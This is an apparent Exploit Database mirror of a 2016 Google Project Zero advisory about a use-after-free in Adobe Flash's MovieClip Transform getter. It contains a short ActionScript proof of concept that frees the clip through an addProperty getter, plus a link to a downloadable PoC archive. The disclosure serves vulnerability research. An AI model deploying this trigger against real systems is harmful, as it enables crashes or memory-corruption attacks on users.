Adobe Flash – MovieClip Transform Getter Use-After-Free

• Exploit Database
• 16 阅读

• 作者： Google Security Research
  日期： 2016-08-29
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/40311/

• Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=844
  
  There is a use-after-free in the MovieClip Transform getter. If the Transform constructor is replaced with a getter using addProperty, this getter can free the MovieClip before it is accessed. A minimal PoC is as follows:
  
  var mc = this.createEmptyMovieClip( "mc", 1);
  var tf = flash.geom.Transform;
  var g = flash.geom;
  g.addProperty("Transform", func, func);
  mc.f = ASnative(900, 419);
  mc.f();
  
  function func(){
  	
  	mc.removeMovieClip();
  	
  // Fix heap
  	}
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40311.zip